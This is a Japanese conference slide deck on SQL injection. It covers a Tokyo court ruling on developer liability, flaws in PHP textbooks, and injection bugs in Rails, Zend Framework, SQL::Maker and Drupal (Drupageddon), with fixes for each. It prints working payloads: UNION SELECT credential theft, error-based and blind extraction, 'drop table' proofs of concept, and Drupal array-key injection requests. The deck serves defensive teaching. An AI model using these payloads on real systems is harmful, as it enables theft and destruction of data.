Movatterモバイル変換

今どきのSQLインジェクションの話題総まとめHASHコンサルティング株式会社徳丸浩

アジェンダ• SQLインジェクション対策もれの責任を開発会社に問う判決• PHP入門書のSQLインジェクション脆弱性の状況• O/RマッパやSQLジェネレーターのSQLインジェクションの話題– Rails SQL Injection Examplesの紹介– Zend FrameworkのSQLインジェクション– JSON SQL Injection– Drupageddon(CVE-2014-3704)Copyright © 2008-2015 HASH Consulting Corp. 2

徳丸浩の自己紹介• 経歴– 1985年京セラ株式会社入社– 1995年京セラコミュニケーションシステム株式会社(KCCS)に出向・転籍– 2008年 KCCS退職、HASHコンサルティング株式会社設立• 経験したこと– 京セラ入社当時はCAD、計算幾何学、数値シミュレーションなどを担当– その後、企業向けパッケージソフトの企画・開発・事業化を担当– 1999年から、携帯電話向けインフラ、プラットフォームの企画・開発を担当Webアプリケーションのセキュリティ問題に直面、研究、社内展開、寄稿などを開始– 2004年にKCCS社内ベンチャーとしてWebアプリケーションセキュリティ事業を立ち上げ• 現在– HASHコンサルティング株式会社代表 http://www.hash-c.co.jp/– 独立行政法人情報処理推進機構非常勤研究員 http://www.ipa.go.jp/security/– 著書「体系的に学ぶ安全なWebアプリケーションの作り方」(2011年3月)– 技術士（情報工学部門）• 絶賛社員募集中!!Copyright © 2012-2015 HASH Consulting Corp. 3

責任と契約について• ウェブアプリケーションの脆弱性の責任は発注者か開発者か– 発注者に責任というのが主流のよう– ただし、判例があるわけではないので要注意• 経産省の「モデル契約書」では、以下のような記述がある• 発注者は自衛のために要求仕様にセキュリティ要件を盛り込んでおくべきだが…5なお、本件ソフトウェアに関するセキュリティ対策については、具体的な機能、遵守方法、管理体制及び費用負担等を別途書面により定めることとしている（第50 条参照）。セキュリティ要件をシステム仕様としている場合には、「システム仕様書との不一致」に該当し、本条の「瑕疵」に含まれる。（セキュリティ）第50 条乙が納入する本件ソフトウェアのセキュリティ対策について、甲及び乙は、その具体的な機能、遵守方法、管理体制及び費用負担等を協議の上、別途書面により定めるものとする。参照 http://www.meti.go.jp/policy/it_policy/softseibi/index.html判例出ました

ケーススタディ家具インテリアECサイト侵入事件• 概要– 家具インテリアのECサイトを運営するX社が、Y社にECサイトアプリケーションを発注（2009年2月）889万円– X社が運営するECサイトに対して、外部からの不正アクセスにより、最大7316件のクレジットカード情報が漏洩した– X社は謝罪、対応、調査等の費用、売上減少による損害等に関して、Y社に対して、委託契約の債務不履行にもとづき1億913万円の損害賠償を請求、東京地裁に起訴した（2011年10月）– 2014年1月判決Copyright © 2008-2015 HASH Consulting Corp. 6

裁判の争点• X社（原告）はセキュリティ対策について特に指示はしていなかった模様• 損害賠償について個別契約に定める契約金額の範囲内とする損害賠償責任制限があった• 当初システムはカード決済を外部委託し直接カード情報を扱っていなかった• X社が「カード会社毎の決済金額を知りたい」とY社に依頼をして、その結果カード情報をいったんDBに保存する仕様となった（2010年1月29日）• X社からの問い合わせに対してY社は、カード情報を保持しない方式に変更することが可能で、そのほうが安全となり、費用は20万円程度である旨を伝えた（2010年9月27日）が、その後X社は改良の指示をしなかったCopyright © 2008-2015 HASH Consulting Corp. 7

東京地裁の判断(1)• クレジットカード情報が漏洩した原因は複数考えられるが、脆弱性やアクセスログ、不正利用の状況からSQLインジェクション攻撃によるものと断定• セキュリティ対策についてX社からの指示はなかったが、Y社は必要なセキュリティ対策を講じる義務（債務）があり、それを怠った債務不履行がある• Y社は、SQLインジェクションはカード情報とは無関係の箇所にあったので、この脆弱性が原因ではないと主張したが、裁判所はこの主張を退けた• 損害賠償責任制限について– 損害賠償責任制限自体については認める– 契約書に明記はないが、故意あるいは重過失に起因する損害については責任制限の範囲外とする– 仕様書に記載はないがSQLインジェクション対策を怠ったことは重過失である– よって今回の事案は損害賠償責任制限には該当しないCopyright © 2008-2015 HASH Consulting Corp. 9

東京地裁の判断(2)• 原告からの損害賠償請求のうち、おわびのQUOカード代や梱包発送費などの損害は全額認められたが、売上減の機会損失は6041万4833円の要求に対して、400万円のみが認められ、システム委託契約費用約2074万円に対しては、他社システムに移行後の利用料等（約27万円）のみが認められた• Y社がカード情報をDBに保存しない方式をX社に提案したにも関わらずX社がそれを採用しなかった件をX社の過失と認め、過失相殺3割が認定された• 瑕疵担保期間(1年)を超えていたが、瑕疵担保期間はあくまで無償補修の期間を定めたもので、損害賠償請求権の期間制限を定めたものではないので、損害賠償請求は有効• 3131万9568円の損害を認定し、その3割を控除して、2262万3697円の損害賠償をY社に命じたCopyright © 2008-2015 HASH Consulting Corp. 10

SQLインジェクション対策が"債務"である理由そこで検討するに，証拠（甲１４，２５，２９）によれば，経済産業省は，平成１８年２月２０日（注:2006年），「個人情報保護法に基づく個人データの安全管理措置の徹底に係る注意喚起」と題する文書において，ＳＱＬインジェクション攻撃によってデータベース内の大量の個人データが流出する事案が相次いで発生していることから，独立行政法人情報処理推進機構（以下「ＩＰＡ」という。）が紹介するＳＱＬインジェクション対策の措置を重点的に実施することを求める旨の注意喚起をしていたこと，ＩＰＡは，平成１９年４月，「大企業・中堅企業の情報システムのセキュリティ対策～脅威と対策」と題する文書において，ウェブアプリケーションに対する代表的な攻撃手法としてＳＱＬインジェクション攻撃を挙げ，ＳＱＬ文の組み立てにバインド機構を使用し，又はＳＱＬ文を構成する全ての変数に対しエスケープ処理を行うこと等により，ＳＱＬインジェクション対策をすることが必要である旨を明示していたことが認められ，これらの事実に照らすと，被告は，平成２１年２月４日の本件システム発注契約締結時点において，本件データベースから顧客の個人情報が漏洩することを防止するために，ＳＱＬインジェクション対策として，バインド機構の使用又はエスケープ処理を施したプログラムを提供すべき債務を負っていたということができる。11判決文より引用

判決文を読んでの感想• 発注者（原告）および受注者（被告）ともにグダグダの状況であった• 原告は発注者としての責務を果たしておらず、（ほぼ）すべての責任が被告にあるとの判断は、被告に厳しすぎると思う• とはいえ、被告もなんら「専門家としての責務」を果たしておらず、裁判所はこの点を重視した• 経産省およびIPAからの注意喚起が「専門家として当然はたすべき責務」の基準と判断された点に注目したい• 管理機能のID/パスワードが admin/password であった箇所を読んで、しばらく余韻にひたっていた※ただし、被告はシステム引き渡し後に原告がパスワードを変更すると想定していたと主張Copyright © 2008-2015 HASH Consulting Corp. 12

当事件からの考察• 従来、専門家の間では「発注者責任」という考えが強かったが、この判決は受注者の「専門家としての責務」を重視した• SQLインジェクション対策を怠ったことが「重過失」と認定されたことは画期的だが、議論の余地もある• 開発会社は、自衛のため、「安全なウェブサイトの作り方」記載の脆弱性は最低限対策した方がよい• 開発会社は（採用の見込みが薄くても）セキュリティ対策の提案は積極的にすべしCopyright © 2008-2015 HASH Consulting Corp. 13

15我が家にあるPHP解説書のほんの一部ですw

PHP入門書にセキュリティを求めるのか?• セキュリティのことは後回しでも良いのでは?– 一応Yes• しかし、できる限り、最初から正しい方法を教えた方が良い• 「あなたが習ってきたPHPは間違っている」というのも酷• いつセキュリティを学ぶの?– 今でしょ– 永遠にセキュリティを学ばない人が多いと予想– 最初に学ぶ時点で、できるだけ安全な方法を学んで欲しいCopyright © 2008-2015 HASH Consulting Corp. 16

昔の例: はじめてのPHPプログラミング基本編17発売日： 2008年10月

SQLインジェクション対策用自前バインド関数// SQLインジェクション対策用の関数function dbescape($sql, array $params){foreach ($params as $param) {// パラメータの型によって埋め込み型を変えるswitch (gettype($param)) {case "integer":case "double":$replacement = $param;break;case "string":// 文字列の場合はエスケープ処理をおこなう$replacement = sprintf("'%s'", sqlite_escape_string($param));break;default:die("パラメータの型が正しくありません");}// SQLを置換し、パラメータを埋め込む$sql = substr_replace($sql, $replacement, strpos($sql, "?"), 1);}// すべてパラメータを埋め込んだSQLを返すreturn $sql;}18$sql = dbescape("SELECT * FROM foo WHEREbar=? AND baz = ?", array($x, $y));$x = "Johnson“$y= “O'Reilly”SELECT * FROM foo WHERE bar= 'Johnson'AND baz='O''Reilly'

バインド値に ? があると誤動作するSELECT * FROM foo WHERE bar=? AND baz? のバインド値として ? と AAA を与えてみる0:SELECT * FROM foo WHERE bar=? AND baz=?↑ '?' に置き換え1:SELECT * FROM foo WHERE bar='?' AND baz=?↑ 'AAA' に置き換え2:SELECT * FROM foo WHERE bar=''AAA'' AND baz=?AAA がリテラル外にはみ出す ↑Copyright © 2008-2015 HASH Consulting Corp. 19

SQLインジェクション攻撃SELECT * FROM foo WHERE bar=? AND baz? のバインド値として ? と or 1=1--を与えてみる0:SELECT * FROM foo WHERE bar=? AND baz=?↑ '?' に置き換え1:SELECT * FROM foo WHERE bar='?' AND baz=?↑ 'or 1=1--' に置き換え2:SELECT * FROM foo WHERE bar=''or 1=1--'' AND baz=?or 1=1-- がリテラル外にはみ出す ↑Copyright © 2008-2015 HASH Consulting Corp. 20【教訓】プレースホルダの仕組みを安易に自作すると徳丸先生に怒られる

よくわかるPHPの教科書21発売日： 2010/9/14

本書を読んでの所感• セキュリティには一応の配慮をしている• SQL呼び出しはmysql関数 +mysql_real_escape_stringによるエスケープ– mysql関数は、PHP5.5で非推奨になったが、本書発行時点では決まっていなかったので仕方がない– とは言え、本書の内容が古くなった感はある– MySQLに特化した記述が気になる（文字列リテラルをダブルクォートで囲むなど）• XSS対策は配慮しているが抜けもある• CSRF対策はしていないCopyright © 2008-2015 HASH Consulting Corp. 22

SQLインジェクションはどうかCopyright © 2008-2015 HASH Consulting Corp. 23// ここまでで、認証済みであるこの検査が済んでいる$id = $_REQUEST['id'];// 投稿を検査する$sql = sprintf('SELECT * FROM posts WHERE id=%d',mysql_real_escape_string($id));$record = mysql_query($sql) or die(mysql_error());$table = mysql_fetch_assoc($record);if ($table[‘member_id’] == $_SESSION[‘id’]) { // 投稿者の確認// 投稿した本人であれば、削除mysql_query('DELETE FROM posts WHERE id=' .mysql_real_escape_string($id)) or die(mysql_error());}ここにSQLインジェクションしかし、DELETE FROM文なので表示はない

エラーメッセージから情報窃取• MySQLはエラーメッセージの中にリテラルの情報を含めないものが多いが、例外としてextractvalue関数があるmysql> select extractvalue('<a>xss</a>', '/a/b');+-------------------------------------------+| extractvalue('<a>xss</a>', '/a/b') | ← 正常系+-------------------------------------------+| xss |+-------------------------------------------+mysql> SELECT extractvalue('<a>xss</a>', '/$this is a pen');ERROR 1105 (HY000): XPATH syntax error: '$this is a pen'• 副問い合わせにより、extravalueにわざとエラーのあるクエリを用いて情報窃取mysql> SELECT extractvalue(char(0),concat('/$',(SELECT email FROM membersLIMIT1 OFFSET 1)));ERROR 1105 (HY000): XPATH syntax error: '$sato@example.jp'Copyright © 2008-2015 HASH Consulting Corp. 24

SQL文のエラーが起こるか否かで情報を盗む• SQLインジェクションにより実行されるSQL文の例DELETE FROM posts WHERE id=18-(SELECT id FROMmembers WHERE id LIKE char(49) ESCAPE IF(SUBSTR((SELECTemail FROM members LIMIT 1,1),1,1)>='M', 'a', 'ab')))• WHERE句の中 18-(SELECT … WHERE …)• 中のWHERE句はLIKE 述語にESCAPE句がある• ESCAPE句はIF関数により、membersの1行目の1文字目が’M’以上の場合’a’、それ以外の場合’ab’• SQL文の文法上、ESCAPE句は1文字以外だとエラー• この結果を繰り返すことによって、対象文字列を絞り込む→ブラインドSQLインジェクションCopyright © 2008-2015 HASH Consulting Corp. 25続きはデモで

気づけばプロ並みPHP26発売日： 2013/10/15

本書を読んでの所感• 「いきなり始める～」から継承した分かりやすさ• PHPの書き方としては古臭いもの（10年前くらい・・・）• バリデーションはほぼしていない• SQL呼び出しはすべてPDOのプレースホルダを用いている(Good!)• XSS対策のHTMLエスケープは、入力時にまとめて行っている(Bad!)• パスワードはソルトなしMD5で保存– "一度MD5で暗号化されてしまうと、スーパーコンピュータでも簡単には解読できません"Copyright © 2008-2015 HASH Consulting Corp. 27

SQLインジェクション対策はプレースホルダで• プレースホルダとはSELECT * FROM books WHERE id=?• 静的プレースホルダと動的プレースホルダ– 静的: サーバー側で値をバインドする（エスケープは必要ない）– 動的: 呼び出し側で値をエスケープしてバインドする• 接続時に文字エンコーディングを指定する$db = new PDO('mysql:host=myhost;dbname=mydb;charset=utf8',DBUSER, DBPASS);– SET NAMES utf8 はやめましょう• 列の型を意識するCopyright © 2012-2015 HASH Consulting Corp. 30

サンプルコード$db = new PDO('mysql:host=myhost;dbname=mydb;charset=utf8',DBUSER, DBPASS);// エミュレーションモードOFF = 静的プレースホルダ$db->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);// エラー時に例外を発生させる$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);// プレースホルダを使ってSQLを準備$prepare = $db->prepare('SELECT * FROM example WHERE id = :id and language = :lang');// 型を指定してbind$prepare->bindValue(':id', (int) $id, PDO::PARAM_INT);$prepare->bindValue(':lang', $str, PDO::PARAM_STR);$prepare->execute();Copyright © 2012-2015 HASH Consulting Corp. 31

問題意識• アプリケーションがSQL文を直接呼び出す場合のSQLインジェクションについては、IPA「安全なSQLの呼び出し方」にてファイナルアンサーが出ている• したがって、この分野では、特定ソフトウェアの脆弱性など細かい話題が中心になると予想• 一方、O/RマッパーやSQLジェネレータを用いる際のSQLインジェクションについてはまだ研究・啓発が必要• 具体的には下記– O/RマッパーやSQLジェネレータの使い方によるSQLi– O/RマッパーやSQLジェネレータそのもののSQLiCopyright © 2008-2015 HASH Consulting Corp. 33

Rails SQL Injection Examplesとは35http://rails-sqli.org/ より引用Ruby on RailsのActiveRecordのメソッドやオプションの指定方法の誤りによるSQLインジェクションのサンプル集

Example1:whereメソッド36http://rails-sqli.org/ より引用

脆弱性のあるアプリケーションCopyright © 2008-2015 HASH Consulting Corp. 38@books = Book.where("publish = '#{params[:publish]}' AND price >= #{params[:price]}")山田祥寛 (著)Ruby on Rails 4 アプリケーションプログラミング技術評論社 (2014/4/11)に脆弱性を加えましたw※元本に脆弱性があるわけではありません

UNION SELECTにより個人情報を窃取Copyright © 2008-2015 HASH Consulting Corp. 39priceに以下を入れる1) UNION SELECT id,userid,passwd,null,mail,null,false,created_at,updated_at FROM users --SELECT “books”.* FROM “books” WHERE (publish =’’ AND price >=1) UNION SELECT id,userid,passwd,null,mail,null,false,created_at,updated_at FROM users --)

対策プレースホルダ40Ruby on Rails 4 アプリケーションプログラミング、山田祥寛より引用

Zend Frameworkでも似たようなことが起こる41http://stackoverflow.com/questions/8512584/zend-framework-sql-injection-protection より引用

Example2: orderメソッド42http://rails-sqli.org/ より引用

ORDER BY (CASE SUBSTR(password, 1, 1) WHEN 's' THEN 0 else 1 END) ASC って?• ORDER BY の後には式が書ける• 以下のSQL文は算数と国語の点数の合計でソートする– SELECT * FROM 成績 ORDER BY (算数+国語)• 以下の式は、password列の一文字目が s なら 0そうでなければ 1 を返す– CASE SUBSTR(password, 1, 1)WHEN 's' THEN 0ELSE 1END• よって、このORDER BYは、「パスワードの一文字目が s」の利用者を先頭に集めるソート…だが、しかしCopyright © 2008-2015 HASH Consulting Corp. 43

ブラインドSQLインジェクションCopyright © 2010-2015 HASH Consulting Corp. 47SELECT "books".* FROM "books" ORDER BY(SELECT CAST(CASE WHEN substr((select userid from users LIMIT 1 OFFSET 0),2,1)>=chr(107)THEN '0' ELSE '!' END as integer)) asc

ORDER BYの後にUNIONは使えないCopyright © 2010-2015 HASH Consulting Corp. 48PG::SyntaxError: ERROR: "UNION"またはその近辺で構文エラーLINE 1: SELECT "books".* FROM "books" ORDER BY title UNIONSELECT ...^: SELECT "books".* FROM "books" ORDER BY title UNION SELECT *FROM users -- asc

別名をつけるとユーザー情報の窃取に成功Copyright © 2010-2015 HASH Consulting Corp. 50SELECT “books”.* FROM “books” ORDER BY title;SELECT id,userid AS isbn,passwd AS title,1 AS price,mail AS publish,null AS published,false AS cd FROM users-- asc

Zend Frameworkとは?• PHPの心臓部であるZend Engineを開発しているZend Technologies社が開発したアプリケーションフレームワーク• 柔軟な構造であり自由な使い方ができる• 依存関係が弱くコンポーネントとして利用が容易• PHPのオブジェクト指向を活用している• …• 要はZend謹製のフレームワークCopyright © 2008-2015 HASH Consulting Corp. 52

Zend_Dbの使い方require_once 'Zend/Db.php';$params = array('host' => 'localhost','username' => DBUSER,'password' => DBPASSWD,'dbname' => DBNAME);$db = Zend_Db::factory('PDO_MYSQL', $params);$select = $db->select()->from('products')->order('name'); // 列 nameでソート$result = $db->fetchAll($select);// 生成されるSQL文SELECT `products`.* FROM `products` ORDER BY `name` ASCCopyright © 2008-2015 HASH Consulting Corp. 53

orderメソッドあれこれ// 単純order('name') ORDER BY `name` ASC// 降順order('name desc') ORDER BY `name` DESC// 識別子のエスケープorder('na`me') ORDER BY `na``me` ASC// 配列による複数ソートキー指定order(array('name', 'id'))ORDER BY `name` ASC, `id` ASC// 式も書けるよorder('(name + id)') ORDER BY (name + id) ASCCopyright © 2008-2015 HASH Consulting Corp. 54

ここで一つ疑問ががが• 識別子はクォートとエスケープがされる– name → `name`– na`ma → `na``me`• 式はそのまま– (name + id) → (name + id)• どうやって識別子と式を区別しているの?• ソースを見よう!if (preg_match('/(.*)/', $val)) {$val = new Zend_Db_Expr($val);}Copyright © 2008-2015 HASH Consulting Corp. 55// ( と ) があれば// 式とみなす

CVE-2014-4914 (Zend Framework 1.12.6以前)• orderの引数文字列に ( と ) がありさえすれば式とみなされエスケープ対象外となる• 1 ; 攻撃文字列 -- () とかでもおkSELECT `products`.* FROM `products` ORDER BY 1; 攻撃文字列 -- () ASC• 公表されたPoCは以下の通りorder('MD5(1); drop table products --')↓ 生成されるSQL文SELECT `products`.* FROM `products` ORDER BY MD5(1);drop table products -- ASC• 参考: http://framework.zend.com/security/advisory/ZF2014-04Copyright © 2008-2015 HASH Consulting Corp. 57

Zend Framework 1.12.7 での修正• 式の判定が以下のように修正された// 1.12.6以前if (preg_match('/(.*)/', $val)) {$val = new Zend_Db_Expr($val);}// 1.12.7if (preg_match('/^[w]*(.*)$/', $val)) {$val = new Zend_Db_Expr($val);}// 英数字0文字以上に続けて ( があり、末尾に ) があれば式とみなすCopyright © 2008-2015 HASH Consulting Corp. 58

Zend Framework 1.12.7 に対する攻撃• 従来のPoCorder('MD5(1); drop table products --')↓ 生成されるSQL文SELECT `products`.* FROM `products` ORDER BY `MD5(1);drop table products --` ASC// order by 以降が ` で囲まれて識別子となる• 新しいPoCorder('MD5(1); drop table products -- )')↓ 生成されるSQL文SELECT `products`.* FROM `products` ORDER BY MD5(1);drop table products -- ) ASC// 式とみなされる条件を満たすので「そのまま」SQL文にCopyright © 2008-2015 HASH Consulting Corp. 60

Zend Framework 1.12.8 での修正• 式の判定が以下のように修正された// 1.12.7if (preg_match('/^[w]*(.*)$/', $val)) {$val = new Zend_Db_Expr($val);}// 英数字0文字以上に続けて ( があり、末尾に ) があれば式とみなす// 1.12.8if (preg_match('/^[w]*([^)]*)$/', $val)) {$val = new Zend_Db_Expr($val);}// 英数字0文字以上に続けて ( があり、途中は ) 以外が続き、// 末尾に ) があれば式とみなすCopyright © 2008-2015 HASH Consulting Corp. 61

これはフレームワークの脆弱性なのか?• Ruby on Railsの場合、orderメソッドに指定する文字列は「式」と決まっているので、アプリケーション側のバリデーション等で対策することが求められる• Zend Frameworkの場合は、文字列の内容により識別子か式かが決まるので、責任境界があいまい• 本来、識別子用のメソッドと式用のメソッドは、名前などで明確に区別するべし• つまり、Zend Frameworkの仕様の問題であるCopyright © 2008-2015 HASH Consulting Corp. 63

SQL::Maker (Perl)use SQL::Maker;my $maker = SQL::Maker->new(driver => 'mysql');…($sql, @binds) = $maker->select('user', ['*'],{name => 'hasegawayosuke'});SQL文: SELECT * FROM ùser` WHERE (`name` = ?)値: 'hasegawayosuke'($sql, @binds) = $maker->select('user', ['*'],{name => ['hasegawayosuke', 'kinugawamasato']});SQL文: SELECT * FROM ùser` WHERE (`name` IN (?, ?))値: 'hasegawayosuke', 'kinugawamasato'($sql, @binds) = $maker->select('user', ['*'], {age => {'>=' => 18}});SQL文: SELECT * FROM ùser` WHERE (àge` >= ?)値: 18Copyright © 2008-2015 HASH Consulting Corp. 66

JSON SQL Injection (Perl)• PerlのSQL::Makerにおいて、以下のサンプルmy ($sql, @bind) = $builder->select("users", ["*"], {"name"=>$user_name});$user_nameが 'yamada' の場合SQL文： SELECT * FROM ùsers` WHERE (`name`= ?)変数： yamada$user_nameが{">=":"yamada"} （JSON）の場合SQL文： SELECT * FROM ùsers` WHERE (`name` >= ?)変数： yamada$user_nameが{"KEY":"value"} （JSON）の場合SQL文： SELECT * FROM ùsers` WHERE (`name` KEY ?)変数： valueCopyright © 2008-2015 HASH Consulting Corp. 67KEYは演算子だが、バリデーションもエスケープもされない

JSON SQL Injection (PHP)• SQL::MakerのPHP版(by @memememomo)$builder = new SQL_Maker(array('driver' => 'mysql'));list($sql, $binds) = $builder->select('users', array('*'),array('name' => $user_name));$user_name が 'yamada' の場合SQL文： SELECT * FROM `users` WHERE (`name` = ?)変数： yamada$user_nameがarray('KEY' => 'value') の場合SQL文: SELECT * FROM `users` WHERE (`name` KEY ?)Copyright © 2008-2015 HASH Consulting Corp. 68

PHPならJSONなしでJSON SQL Injectionが可能• PHPはGET/POSTのパラメータに連想配列が指定できる• $user_name = $_GET['user_name'] としている場合http://example.jp/query.php?user_name[key]=value$user_nameには、array('key' => 'value') が入るhttp://example.jp/query.php?user_name[>''+or+1%3d1)%23]=value の場合生成されるSQL文は下記SELECT * FROM `table_name` WHERE (`name` >'' or 1=1)# ?)Copyright © 2008-2015 HASH Consulting Corp. 69

対策• SQL::Maker側の対応:strict モードの追加値としてハッシュや配列を渡せなくなる$builder = new SQL_Maker(array('driver' => 'mysql', 'strict' => 1));$builder->select('user', array('*'), array('name' => array('foo', 'bar')));// => 例外が発生して SELECT * FROM `name` IN (?, ?) は生成されない• アプリケーション側の対応:– SQL::Makerに渡すパラメータのバリデーションCopyright © 2008-2015 HASH Consulting Corp. 70

DrupalとはDrupal（ドルーパル、発音: /ˈdruːpəl/）は、プログラム言語PHPで記述されたフリーでオープンソースのモジュラー式フレームワークであり、コンテンツ管理システム (CMS) である。昨今の多くのCMSと同様に、Drupalはシステム管理者にコンテンツの作成と整理、提示方法のカスタマイズ、管理作業の自動化、サイトへの訪問者や寄稿者の管理を可能にする。その性能がコンテンツ管理から、幅広いサービスや商取引を可能にするにまで及ぶことから、Drupalは時々「ウェブアプリケーションフレームワーク」であると評される。Drupalは洗練されたプログラミング・インターフェースを提供するものの、基本的なウェブサイトの設置と管理はプログラミングなしに成し遂げることができる。Drupalは一般に、最も優れたWeb 2.0フレームワークの一つであると考えられている。※Wikipediaより引用72WhiteHouse NASA 国立国会図書館カレントアウェアネス

Drupageddon(CVE-2014-3704)とは• Drupal Ver7.31以前に存在するSQLインジェクション脆弱性• 非常に危険性の高い脆弱性であるので、アルマゲドンをもじってドゥルパゲドンと命名された模様• Drupal core のデータベース抽象化 API （一種のSQLジェネレータ）の expandArguments 関数における SQL インジェクションの脆弱性• 日本ではあまり話題になっていない（Drupalのシェアのせい?）Copyright © 2008-2015 HASH Consulting Corp. 73

Drupalの脆弱性突く攻撃横行、「侵入されたと想定して対処を」オープンソースのコンテンツ管理システム（CMS）「Drupal」に極めて深刻な脆弱（ぜいじゃく）性が見つかった問題で、Drupalは10月29日、脆弱性修正のパッチを直後に適用しなかったWebサイトは侵入された可能性があると警告した。米セキュリティ機関のUS-CERTも、アップデートや回避策の適用を呼びかけている。問題のSQLインジェクションの脆弱性は、Drupalのバージョン7.xに存在する。悪用された場合、攻撃者にバックドアを仕掛けられ、サイトの全データをコピーされる恐れがある。攻撃の痕跡は残らない。この脆弱性を修正した「Drupal 7.32」は10月15日にリリースされた。Drupalによると、この10月15日の発表の直後から、脆弱性を修正していないWebサイトに対する攻撃が始まった。「すべてのDrupal7サイトは、世界協定時間の10月15日午後11時（日本時間16日午前8時）までにアップデートまたはパッチを適用していない限り、破られたと想定して対処しなければならない」とDrupalは警告する。74http://www.itmedia.co.jp/enterprise/articles/1410/31/news050.html より引用

Drupalのログイン処理のSQL文を調べるCopyright © 2008-2015 HASH Consulting Corp. 75name=admin&pass=xxxxxxxx&form_build_id=form-xQZ7X78LULvs6SyB9MvufbZh5KXjQYRHS05Jl2uD9Kc&form_id=user_login_block&op=Log+inSELECT * FROM users WHERE name = 'admin' AND status = 1name[]=user1&name[]=user2&pass=xxxxxxxx&form_build_id=form-xQZ7X78LULvs6SyB9MvufbZh5KXjQYRHS05Jl2uD9Kc&form_id=user_login_block&op=Log+inSELECT * FROM users WHERE name = 'user1', 'user2' AND status = 1通常時の要求通常時のSQL文nameを配列で指定nameを配列にした場合のSQL文文字列リテラルが複数生成される

IN句生成の便利な呼び出し方だが…Copyright © 2008-2015 HASH Consulting Corp. 76<?phpdb_query("SELECT * FROM {users} where name IN (:name)",array(':name'=>array('user1','user2')));?>SELECT * from users where name IN (:name_0, :name_1)array(':name_0'=>'user1', ':name_1'=>'user2'))db_queryにてIN句のバインド値を配列にすると…IN句の値がプレースホルダのリストに展開されるバインド値の配列は以下の様に変形される

空白付きのキーCopyright © 2008-2015 HASH Consulting Corp. 78array(2) {[":name_1 xxxxx"] => "user1" ← :name_1 ではない[":name_2"] => "user2"}SELECT * FROM {users} WHERE name = :name_1 xxxxx, :name_2 AND status = 1キー名に空白をつけてみるプレースホルダに空白が含まれるちぎれたプレースホルダはSQL文の一部として認識されるプレースホルダには、キー :name_1がないので上記のSQL文呼び出しはエラーになるname[1 xxxxx]=user1&name[2]=user2

バインド値のつじつまを合わせるCopyright © 2008-2015 HASH Consulting Corp. 79array(2) {[":name_2 xxxxx"] => ""[":name_2"] => "user2"}SELECT * FROM {users} WHERE name = :name_2 xxxxx, :name_2 AND status = 1キー名に空白をつけてみるプレースホルダに空白が含まれるプレースホルダ :name_2 が2箇所現れるプレースホルダ配列は上記SQL文の要求を満たすのでSQL文は呼び出される…が、xxxxxの箇所でSQLの文法違反となるname[2 xxxxx]=&name[2]=user2

SQLインジェクションを試すCopyright © 2008-2015 HASH Consulting Corp. 80SELECT * FROM users WHERE name = 'user2' ;SELECT sleep(10) -- , 'user2' AND status = 1キー名に追加のSQL文を書く実際に呼び出されるSQL文name[2 ;SELECT sleep(10) -- ]=&name[2]=user2SELECT * FROM {users} WHERE name = :name_2 ;SELECT sleep(10) -- ,:name_2 AND status = 1プレースホルダの後ろに追加のSQL文が現れる

脆弱なソース// includes/database/database.incprotected function expandArguments(&$query, &$args) {$modified = FALSE;// $argsの要素から配列のみ処理対象として foreachforeach (array_filter($args, 'is_array') as $key => $data) {$new_keys = array();// $dataは配列であるはずなので、foreach 可能。 $i（キー）に注目foreach ($data as $i => $value) {$new_keys[$key . '_' . $i] = $value;}// $queryを改変 $new_keysのキーをarray_keysでSQL文に混ぜている$query = preg_replace('#' . $key . 'b#',implode(', ', array_keys($new_keys)), $query);unset($args[$key]);$args += $new_keys;$modified = TRUE;}return $modified;}Copyright © 2008-2015 HASH Consulting Corp. 81

対策版(7.32)// includes/database/database.incprotected function expandArguments(&$query, &$args) {$modified = FALSE;// $argsの要素から配列のみ処理対象として foreachforeach (array_filter($args, 'is_array') as $key => $data) {$new_keys = array();// $dataは配列であるはずなので、foreach 可能。 $i（キー）に注目//foreach ($data as $i => $value) {foreach (array_values($data) as $i => $value) { // キーを削除$new_keys[$key . '_' . $i] = $value;}// $queryを改変 $new_keysのキーをarray_keysでSQL文に混ぜている$query = preg_replace('#' . $key . 'b#',implode(', ', array_keys($new_keys)), $query);unset($args[$key]);$args += $new_keys;$modified = TRUE;}return $modified;}Copyright © 2008-2015 HASH Consulting Corp. 82

問題点のまとめ• Zend Framework– orderメソッドの引数をエスケープするか否かを、パラメータの中身で判断している– これは仕様のバグ• SQL::Maker– パラメータとして連想配列を想定はしていたが、キーを外部から入力される想定がなかった• Drupal (Drupageddon)– パラメータとして配列は想定していたが、連想配列は想定していなかった（主原因）– アプリケーション側でバリデーションをしていなかった（7.36で配列を弾くようになった）Copyright © 2008-2015 HASH Consulting Corp. 83

まとめ• SQLインジェクション対策もれの責任を開発会社に問う判決が出た• PHP入門書のSQLインジェクション脆弱性の状況– PHP入門書のSQLインジェクションは解消されつつある• SQLジェネレータの実装に起因するSQLインジェクション脆弱性を紹介– 仕様の考慮漏れが原因– パラメータをエスケープする・しないが不明確（Zend Framework）– パラメータとして連想配列が来ることを想定していなかった– 連想配列のキーが外部入力となることを想定していなかった• SQLジェネレータ利用者側の注意– ライブラリの仕様を理解する（マニュアルをちゃんと読む）– バリデーションは普通にやっときましょうCopyright © 2008-2015 HASH Consulting Corp. 84

Movatterモバイル変換

Change Language

Phpcon2015

Embed presentation

Recommended

More Related Content

What's hot

Viewers also liked

Similar to Phpcon2015

More from Hiroshi Tokumaru

Phpcon2015